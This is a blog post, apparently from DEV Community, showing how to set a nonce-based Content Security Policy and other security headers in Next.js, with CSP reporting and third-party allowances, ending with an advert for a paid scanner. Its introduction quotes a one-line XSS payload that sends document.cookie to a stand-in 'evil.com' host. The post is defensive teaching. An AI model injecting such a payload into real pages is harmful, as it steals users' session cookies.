DEV Community

Atlas Whoff
Atlas Whoff

Posted on

Content Security Policy: Preventing XSS in Next.js Apps

Content Security Policy: Preventing XSS in Next.js Apps

A Content Security Policy (CSP) tells the browser which scripts, styles, and resources are allowed to load. It's the most effective defense against Cross-Site Scripting (XSS) attacks.

What CSP Prevents

Without CSP: an attacker injects <script>fetch('evil.com?c='+document.cookie)</script> and your users' sessions are stolen.

With CSP: browser blocks any script not explicitly whitelisted.

Next.js Middleware CSP

// middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');

  const csp = [
    `default-src 'self'`,
    `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
    `style-src 'self' 'nonce-${nonce}'`,
    `img-src 'self' blob: data: https:`,
    `font-src 'self'`,
    `object-src 'none'`,
    `base-uri 'self'`,
    `form-action 'self'`,
    `frame-ancestors 'none'`,
    `upgrade-insecure-requests`,
  ].join('; ');

  const response = NextResponse.next();
  response.headers.set('Content-Security-Policy', csp);
  response.headers.set('x-nonce', nonce);
  return response;
}
Enter fullscreen mode Exit fullscreen mode

Using the Nonce in Layout

// app/layout.tsx
import { headers } from 'next/headers';

export default function RootLayout({ children }) {
  const nonce = headers().get('x-nonce') ?? '';

  return (
    <html>
      <head>
        {/* Scripts/styles with nonce are allowed by CSP */}
        <script nonce={nonce} src='/analytics.js' />
      </head>
      <body>{children}</body>
    </html>
  );
}
Enter fullscreen mode Exit fullscreen mode

Security Headers Bundle

// Apply multiple security headers at once
const securityHeaders = [
  { key: 'X-DNS-Prefetch-Control', value: 'on' },
  { key: 'Strict-Transport-Security', value: 'max-age=63072000; includeSubDomains; preload' },
  { key: 'X-Frame-Options', value: 'SAMEORIGIN' },
  { key: 'X-Content-Type-Options', value: 'nosniff' },
  { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
  { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
];

// next.config.ts
export default {
  async headers() {
    return [{ source: '/(.*)', headers: securityHeaders }];
  },
};
Enter fullscreen mode Exit fullscreen mode

Testing Your CSP

// Start with Report-Only mode — logs violations, doesn't block
response.headers.set(
  'Content-Security-Policy-Report-Only',
  `${csp}; report-uri /api/csp-report`
);

// CSP violation endpoint
app.post('/api/csp-report', (req, res) => {
  console.log('CSP violation:', req.body);
  res.status(204).send();
});
Enter fullscreen mode Exit fullscreen mode

Common Third-Party Additions

// Stripe.js
`script-src 'self' https://js.stripe.com`
`frame-src https://js.stripe.com`

// Google Analytics
`script-src 'self' https://www.googletagmanager.com`
`connect-src 'self' https://www.google-analytics.com`

// PostHog
`script-src 'self' https://us-assets.i.posthog.com`
`connect-src 'self' https://us.i.posthog.com`
Enter fullscreen mode Exit fullscreen mode

Security is a first-class concern at whoffagents.com — the MCP Security Scanner Pro audits MCP servers for XSS, injection, and 20+ other vulnerability classes. $29 at whoffagents.com.

Top comments (0)